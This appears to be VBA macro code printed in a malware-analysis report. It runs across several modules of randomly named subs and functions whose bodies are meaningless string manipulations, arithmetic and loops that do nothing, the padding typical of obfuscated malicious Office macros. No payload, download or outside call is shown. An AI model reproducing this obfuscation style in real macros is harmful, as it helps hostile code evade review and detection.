    yYZvVdZSaP = Right("ai z!(Wcvy(zOkU", 4)
    XHLamDwlCbX = Left("zWe  O o.PoQ", 5) + LTrim(" ST I^ R RIhHf  L Wj")
    XHLamDwlCbX = 7 + 34 + 61 + 30 + 36 + 8
    gySuah = "GzXQktEeLYccNWIfNv"
End Function



Attribute VB_Name = "Module8"

Sub GLqKts(jAsIgTg As Double)
    KLbagFCsJuT = Right("H. sP.Sy", 4)
    LfzgOdzADS = Left("P YGFGr$XY^  ) NbTvx", 2) + LTrim("^HP yAwfa]Q ")
    

    jipJOzSLqhBA = Right("g[Qa@FbE Wcos", 4)
    XHLamDwlCbX = RTrim(" uiZ( G[ij") + UCase("bwSYJp p  m")
    For vuWRHE = 2 To 4
        While hzdLqv < 2
            UsADkOeLdbH = Left("dsvCFcZ MM  ", 5) + LTrim("HBeCt? @v& ^ bd")
            OTITsGXNBCq = LTrim("L)kbPj cT")
            XHLamDwlCbX = Space(2) + Left(" Il  ^-Jmi  e", 5)
            hzdLqv = hzdLqv + 1
        Wend

        GXDlf = 48 - 11 - 71 - 40 - 64
        XHLamDwlCbX = Left("M pxyl?U$&ilaP ", 3) + LTrim("dPg(f[!)( M IX")
        WUXhaA = LTrim("?ppZ y]ErWdClG  Z ")
    Next vuWRHE

    pQumWuUkiVpn = Space(9) + Left("eaQL.[ Ev#", 4)
    OTITsGXNBCq = Left("MWmHdbtI", 3) + LTrim("dXk[dm)&WKTOqXc [G")
    rYEtdFRVf = 45 + 83
    MDOXBpJdOp = UCase(".K I HN.v") + RTrim("bC- (   x_ ^?")
    pQumWuUkiVpn = Right(" %GN vs    qWZK ", 4)
    pQumWuUkiVpn = 97 - 13 - 84
    fDONqpBA = UCase("R  $GRbxi^RxAI") + RTrim("kY.b   [$zpchd B")
    FoeuLQyemgB = Right("D-P ]W cNeid ", 2)
    JgkmAkCsa = Right("iq (Jg% p", 4)
    JgkmAkCsa = Space(9) + Left("b Y Vc", 4)
End Sub



Attribute VB_Name = "Module9"

Sub bNECaZ(hTtMwa As Boolean, xVfGEe As String, pmNSfla As String, NEkJsE As Integer, GkITxjv As Double)
    XHLamDwlCbX = UCase("C WURfC]HSkbAH fz ") + RTrim("   Cbu$KO ")
    XHLamDwlCbX = Space(18) + Left("rAL TZV $", 3)
    jipJOzSLqhBA = UCase("i re_Pm)N@Z") + RTrim("W)vwWYM(H")
    GbdxvxSrzhW = RTrim("T tR q   k[") + UCase(" ^fVq[c")
    

    JgkmAkCsa = UCase(" ^KEB[  ") + RTrim("  r eZaTcET ")
    fDONqpBA = LTrim("U  S  ayQ (e&Zr]")
    jYLTX = 58 - 68 - 27
    BYmyvH = RTrim(")i  vmo Oq QBG  l k") + UCase("-!Ywidv f?HaU[ID ")
    kPVKDPrWeGf = Space(11) + Left("k kX of$fS&!Twi)cSd", 3)
    XHLamDwlCbX = 95 + 2 + 85
    UsADkOeLdbH = 81 - 70 - 16 - 94 - 30 - 93
    LfzgOdzADS = Right("M@ (zo @Eik z[T(?GaN", 2)
    pQumWuUkiVpn = Space(19) + Left("p u)GI._ (", 4)
    MDOXBpJdOp = UCase("BZB YmeLAVt ") + RTrim("& mW ")
    For CxSgJR = 2 To 5
        For CiYlPe = 2 To 7
            EECtVHFzRey = 15 - 82 - 43 - 61 - 35 - 23
            kPVKDPrWeGf = LTrim("-  cD")
            kPVKDPrWeGf = Right("T[ vxmS^ PxIvY", 2)
            nPsFM = RTrim("gQTkw#T") + StrReverse("OQmDo! ")
        Next CiYlPe

        PXQgbxXHDpRA = UCase(" $L Ytc Z") + RTrim("gv]HA U")
        yYZvVdZSaP = LTrim("   qv a#X -")
        GbdxvxSrzhW = 67 - 86 - 71
        yYZvVdZSaP = 64 - 45
        EECtVHFzRey = 11 + 35 + 27 + 90 + 36 + 70
    Next CxSgJR

    ELvyS = Left("^Tj&jo N  Fd[] rV", 5) + LTrim("h nl-dDrtT R")
End Sub



Function CxPciV(HPIXzyF As String, lSJJVF As String) As String
    

    

    fDONqpBA = RTrim(" pCFjj()  jYP zOI w") + UCase("DC)! AmL] ")
    For nsnMJA = 2 To 5
        While ibtmPX < 5
            PXQgbxXHDpRA = LTrim(" !R$ y ")
            UsADkOeLdbH = UCase("q V[  ") + RTrim(" n.jtrrR u?y Tdr")
            ELvyS = Right("^ A uGl ", 3)
            

            ibtmPX = ibtmPX + 3
        Wend

        

        PXQgbxXHDpRA = Right(" y[% ]%R)r#q FB", 3)
        

        pQumWuUkiVpn = UCase(" #sK qyJY?  Ld V e") + RTrim("HpqF$ vb YW$.c")
    Next nsnMJA

    yYZvVdZSaP = 70 - 42 - 59 - 76 - 18
    PXQgbxXHDpRA = 72 + 25
    EECtVHFzRey = Left("^]T c  ", 3) + LTrim("x    !iS@Uefde")
    yYZvVdZSaP = 36 + 90 + 61 + 34 + 92 + 13
    FoeuLQyemgB = UCase(" aV^q^nDVNd fl!-KL") + RTrim("g gi puI!t")
    

    UsADkOeLdbH = RTrim("Lf. f") + StrReverse("V% # [ $D.")
    LfzgOdzADS = 8 + 66 + 30 + 31
    For oqnBiU = 2 To 10
        JgkmAkCsa = Left("Mo&^QB Sr m?K", 3) + LTrim("JsKuFH")
        pQumWuUkiVpn = RTrim("tF?Kvx") + StrReverse("mch  XI&RpkUOD Z")
        

        KLbagFCsJuT = RTrim("] K(@%Y%R Nb pwx[^z") + UCase("    W MD[ Y ")
        

    Next oqnBiU

    nPsFM = 100 + 72 + 20 + 63 + 50 + 68
    UsADkOeLdbH = Space(9) + Left("%nyKL    r.&@Gz s", 2)
    OTITsGXNBCq = Space(20) + Left("F-QD(Q uYgl  BaRL", 4)
    KLbagFCsJuT = UCase("oE! Eq  ") + RTrim("i Ia%s  &]R QyOM.Bj ")
    CxPciV = "LAWYBbwujOFOxUQkB"
End Function



Sub VajZWA(spKxRa As String, LLzhuH As Boolean, zoJsEnd As Boolean, AKlnLs As String, WxJjeY As Double)
    BRRmWoBqu = UCase("  TfXsW[_JGnZ   jZ") + RTrim(" x!yWjSC")
    fDONqpBA = RTrim("!I I r Je I$Ui]!K- I") + StrReverse("MaTMB.Y?cC OU op ")
    PXQgbxXHDpRA = UCase("pEl G u  oi") + RTrim("h[y b a ")
    

    yYZvVdZSaP = Right(" )hSg", 5)
    jYLTX = Space(3) + Left("L $-r c-", 2)
    GbdxvxSrzhW = 69 + 13 + 94 + 31
    FoeuLQyemgB = Space(14) + Left("jj cTM.OGh)RS A  #x[", 5)
    pQumWuUkiVpn = Left("h%^hyJ xb ", 3) + LTrim("] yQIP Na&c")
    kPVKDPrWeGf = RTrim("ypJSW  am ") + StrReverse(" hPbwAQm N]")
    rYEtdFRVf = 62 - 16 - 26 - 9 - 19
    UsADkOeLdbH = 64 + 25
    While SsYEBN < 3
        While nMTglh < 5
            rYEtdFRVf = Space(18) + Left("# b ^ &oh!)", 5)
            rYEtdFRVf = UCase(" (t ) A i@Xu$ !") + RTrim(" t  ^^  i H. _-^GB")
            kPVKDPrWeGf = RTrim(")Ymz  ie%qg  UHzwE") + UCase("@uj %(^ ! xuLOb t q")
            nMTglh = nMTglh + 3
        Wend

        

        GbdxvxSrzhW = LTrim("@hvjPn ? .yLJnk Rw")
        JgkmAkCsa = 64 - 52 - 25 - 46 - 23 - 7
        SsYEBN = SsYEBN + 1
    Wend

    GXDlf = Left("Su-)r-@TG m ", 5) + LTrim("_]eV! I-!")
    yYZvVdZSaP = UCase(" b B? Er E-dP jryOF ") + RTrim("X#Byo  D  _u")
    For aHPAGB = 2 To 3
        For erJlNZ = 2 To 8
            GXDlf = Left(" CGrmAqAi (a  Da- w", 4) + LTrim("Qd uN e")
            

            pQumWuUkiVpn = Left("O_&Hc #e", 4) + LTrim("P  XtgVApagH[   s")
        Next erJlNZ

        FoeuLQyemgB = UCase("eYpXjyIg") + RTrim("Ob-   G  Q")
        

        GXDlf = LTrim("L Y  & ")
    Next aHPAGB

    PbsXN = Left("_ fmH(   q cMAx ", 2) + LTrim("FH_l ?")
End Sub



Attribute VB_Name = "Module10"

Function oZmbsp(GOMAEx As Boolean, bVlqyG As Boolean, ohqcGlM As Boolean, uSQexk As Double) As String
    jYLTX = Space(1) + Left("  -qv", 5)
    GbdxvxSrzhW = RTrim("^ .I?wKs J%I $") + UCase("iyH]%s")
    

    kPVKDPrWeGf = Right("K K  q U", 3)
    WUXhaA = 98 + 32 + 60 + 15 + 53
    hFrJQyUf = Space(8) + Left("Q!  sv?bM(gnjF", 4)
    UsADkOeLdbH = RTrim("vVX^l") + StrReverse("bvI  $n[wxcBxJcNNof")
    

    For RuOTQh = 2 To 3
        While ILqxwi < 3
            yYZvVdZSaP = UCase("czC JH") + RTrim("t])n F  E s E#R@iO")
            LfzgOdzADS = RTrim("fYZyj IW_   VIlCu") + UCase(" S@U% x")
            GXDlf = 25 + 36 + 49 + 11 + 100
            

            ILqxwi = ILqxwi + 1
        Wend

        ELvyS = Right("XiGr  SZ%[", 3)
        fDONqpBA = RTrim("%AtRo") + StrReverse("ag U_qet seP")
        BRRmWoBqu = RTrim(" LSLWsE y") + StrReverse("Q-[ MCWp?M@PP^#xkdUK")
        XHLamDwlCbX = 13 - 75 - 99 - 9
    Next RuOTQh

    While WdNtrT < 3
        While uqCjcn < 3
            EECtVHFzRey = Space(19) + Left("!ib _uJv", 4)
            jipJOzSLqhBA = RTrim(" (U(zI OJV  k- aDY p") + UCase("oS? [RkZT! P")
            LfzgOdzADS = RTrim("Y)@]]um ]Zk@[u CI )") + UCase("$@ e sM  YPWSK")
            KLbagFCsJuT = 17 - 91 - 97
            PbsXN = UCase("aC x hP") + RTrim("Y y[j!A]   h ")
            uqCjcn = uqCjcn + 1
        Wend

        kPVKDPrWeGf = LTrim(" y^G -&")
        jYLTX = Left("ZYYs!cU[QLyLbY^ o ", 4) + LTrim(" A$OeOHM Lu?X   ")
        MDOXBpJdOp = 8 - 25
        BRRmWoBqu = 35 - 74 - 0 - 71 - 17 - 38
        ELvyS = Right(" I$pcdhW  SS", 3)
        WdNtrT = WdNtrT + 3
    Wend

    WUXhaA = Space(9) + Left("K[h)]yR#s", 5)
    XHLamDwlCbX = Space(1) + Left("A o FeQ h?$", 2)
    yYZvVdZSaP = UCase("e_[IN ") + RTrim("cFb!tRm")
    UsADkOeLdbH = UCase("O y KwJ   ") + RTrim("q%M^ TP$pzcf)m -IUF(")
    For YuuvSD = 2 To 5
        While vIlkDy < 2
            KLbagFCsJuT = LTrim("!uz q^ zz^om")
            rYEtdFRVf = LTrim("cf sSsP")
            JgkmAkCsa = LTrim(" es^ tu#XC q")
            XHLamDwlCbX = Right(" Gb[ I%aL", 3)
            OTITsGXNBCq = 34 + 61 + 85 + 45 + 18 + 100
            vIlkDy = vIlkDy + 2
        Wend

        rYEtdFRVf = 32 + 59
        KLbagFCsJuT = Space(11) + Left("#CVRtlA . !C!.m ", 4)
        

    Next YuuvSD

    PXQgbxXHDpRA = Space(16) + Left("_Dl@quL _ #LQ A  ? W", 3)
    GbdxvxSrzhW = 42 + 58 + 93 + 99
    GbdxvxSrzhW = 94 - 91 - 15 - 11 - 29 - 91
    jYLTX = 75 + 84 + 3 + 16 + 12 + 55
    oZmbsp = "EqXCrpbdrBIUDmazbwB"
End Function



Attribute VB_Name = "Module11"

Sub KCGxwz(qroymu As String)
    While IcDeiK < 1
        

        ELvyS = Right(" @bTz  &V_ u JeG", 3)
        jipJOzSLqhBA = RTrim("W?sbJ") + UCase("e$tX#Qw cS )#jQjkh")
        yYZvVdZSaP = 32 + 40 + 87 + 29 + 15
        PbsXN = Space(8) + Left("t!dePAGx- O $aZ] ", 3)
        IcDeiK = IcDeiK + 2
    Wend

    

    OTITsGXNBCq = Right("#OC.R[KD)zarV Z  Mh", 2)
    

    While qKiTPH < 2
        While GHvrcW < 4
            

            GbdxvxSrzhW = Right("DY# n", 3)
            pQumWuUkiVpn = Right(" Ur t[a x g", 5)
            UsADkOeLdbH = Space(2) + Left("BY AuJEK N xIKMJ! G", 5)
            GHvrcW = GHvrcW + 1
        Wend

        MDOXBpJdOp = LTrim("iDt@ g Pdw  .%C )J_ ")
        LfzgOdzADS = UCase("W  w]t )#hXjE") + RTrim("k &F KQ # u")
        EECtVHFzRey = 46 - 69 - 80 - 61 - 11 - 30
        GXDlf = RTrim("F- UbrJu W") + StrReverse("Z E q  )#kmD")
        qKiTPH = qKiTPH + 2
    Wend

    For YIOvWr = 2 To 6
        GXDlf = Space(18) + Left("B RfXpJ", 4)
        

        OTITsGXNBCq = Space(14) + Left(" (Y %D(D?&dA( lb", 3)
        rYEtdFRVf = Right("AjX S lJXgXm d ", 3)
    Next YIOvWr

    BRRmWoBqu = UCase("l Y[b^fU )( th") + RTrim("e& dB #TPA$DX")
    hFrJQyUf = RTrim("ZbGaNsvGD(v Q") + StrReverse("Eq l%")
    GbdxvxSrzhW = RTrim("@  taqA") + UCase("AIlTuBGFq ")
    BRRmWoBqu = Space(10) + Left("czB @.h#zS", 2)
    KLbagFCsJuT = 87 + 4 + 21 + 70
    JgkmAkCsa = Space(13) + Left(" #Q g", 3)
    fDONqpBA = 16 + 60 + 100
    FoeuLQyemgB = UCase(" Y.AvV? x   Hw gOR") + RTrim(" v V&")
    While Ipygcb < 4
        WUXhaA = Space(6) + Left("pfZkFRRXrL ve]u)D", 2)
        kPVKDPrWeGf = Right("^  VDZ .f kv", 5)
        kPVKDPrWeGf = RTrim("Hl#iVVU )  t_Y") + UCase("Z$A vr%K UV")
        Ipygcb = Ipygcb + 2
    Wend

    MDOXBpJdOp = RTrim("Bo )Lw  bF ") + StrReverse(". h)HT&uY")
End Sub



Attribute VB_Name = "Module12"

Function ErnFYh(sraJRp As String, SnrAeF As Integer, NDipZc As String, aydzlP As Integer, UPrSSJu As String) As String
    XHLamDwlCbX = UCase(")SQ#u iBB#   U ") + RTrim("Fu _ dmq UIc  ")
    WUXhaA = Right("U]UimPR wm$z@ s^ G&", 5)
    XHLamDwlCbX = Left("PL C   Ttj", 3) + LTrim("!kwA  ST [yNX&Oy)i^ ")
    

    GbdxvxSrzhW = Left("br  pF", 5) + LTrim("F ?v(cM%dkQnDw-Xi   ")
    ELvyS = Right("@D dPkR ", 4)
    

    XHLamDwlCbX = Space(5) + Left("[Io cgx oouLNGA ", 5)
    rYEtdFRVf = Right(" L(  HWqa", 4)
    GbdxvxSrzhW = Space(16) + Left("MfdUsUwph uNO^Y ", 4)
    PbsXN = RTrim("V^H $qUPduJO") + UCase("c q w-il^%tXu ")
    

    rYEtdFRVf = 6 + 82
    pQumWuUkiVpn = Space(18) + Left(".TKez^", 3)
    hFrJQyUf = Left("?   WJ OjQF ", 3) + LTrim("_  & g -aIi&JU")
    While NdAiKD < 1
        For hQiaDk = 2 To 10
            yYZvVdZSaP = Right("iv B     XD L", 2)
            

            ELvyS = 78 - 73
        Next hQiaDk

        ELvyS = LTrim(")P n(T u  F?F[  (S")
        XHLamDwlCbX = 78 + 68
        GbdxvxSrzhW = RTrim("HCRz)g$CIZ rO%V$ n") + StrReverse(" VR XU ?")
        hFrJQyUf = 6 - 31 - 29
        MDOXBpJdOp = UCase("cciC dA  e ") + RTrim("iEv JqjP")
        NdAiKD = NdAiKD + 3
    Wend

    kPVKDPrWeGf = Space(15) + Left("K r r", 2)
    UsADkOeLdbH = RTrim(" C-Xo qm Y  ") + StrReverse(" m[tXDRV")
    BYmyvH = 39 - 25 - 20 - 49 - 85 - 16
    pQumWuUkiVpn = RTrim("b b Of[RkNHGO") + UCase("t D% @B")
    ErnFYh = "JyoJGjFaOoiKsFHleOCp"
End Function



Function XvrREF(CvMgzI As Boolean, UtTMFdt As Boolean) As String
    BRRmWoBqu = Space(1) + Left("   TId hgk", 3)
    FoeuLQyemgB = 14 - 97 - 74
    yYZvVdZSaP = Space(17) + Left(" ni g R Xy", 3)
    nPsFM = LTrim(" - )vs")
    

    rYEtdFRVf = RTrim("DUfvG") + UCase("fdhK  X)")
    

    While zgFJFS < 2
        While Spdokn < 5
            WUXhaA = RTrim("QC% [mV@H yV") + StrReverse("  B qv  @ ")
            MDOXBpJdOp = LTrim(")j o xH   ")
            nPsFM = Right("cXh  .u !z- ", 4)
            Spdokn = Spdokn + 3
        Wend

        GbdxvxSrzhW = Right("TLgJcYrCp", 5)
        LfzgOdzADS = Space(14) + Left("(!) jmQi Y^ bh^", 2)
        rYEtdFRVf = LTrim("O.W]!E hC[HQ")
        GXDlf = 66 + 31 + 85 + 86
        zgFJFS = zgFJFS + 2
    Wend

    nPsFM = RTrim("aPF  u  Z^c") + UCase("@f?cGc ..")
    rYEtdFRVf = 52 - 45 - 46 - 42 - 8
    GXDlf = RTrim("@ Dr  )xzsY") + UCase("Y   nT")
    PXQgbxXHDpRA = Left("  Lqiw&Wvw", 5) + LTrim(" #) L ])(v k-vFPKP")
    OTITsGXNBCq = LTrim("q  #P] ) [ F")
    MDOXBpJdOp = Left("#.bftA#", 3) + LTrim("D  q ($g")
    pQumWuUkiVpn = LTrim("Xnb st  j$n_iZMV")
    jYLTX = RTrim("Hzy ?SAx H MWiR- HN^") + UCase("Ue@ W lZeAm (ees A")
    XvrREF = "xVCJpwNMKWTdstfK"
End Function



Attribute VB_Name = "Module13"

Sub WjnNid(vGHsyXi As Boolean)
    GbdxvxSrzhW = RTrim("_W KIYNO n muWyvx! ") + UCase("nA]%t  c")
    OTITsGXNBCq = Right("X_nS @", 3)
    MDOXBpJdOp = RTrim("G yW  F G^.nsl ") + StrReverse("g ^&zu&TiG ")
    WUXhaA = Space(18) + Left(" ^ HWQ", 2)
    KLbagFCsJuT = Space(5) + Left(" UJjSnttCbY[ ", 3)
…

Open this report in the interactive analyzer, or submit your own file for analysis.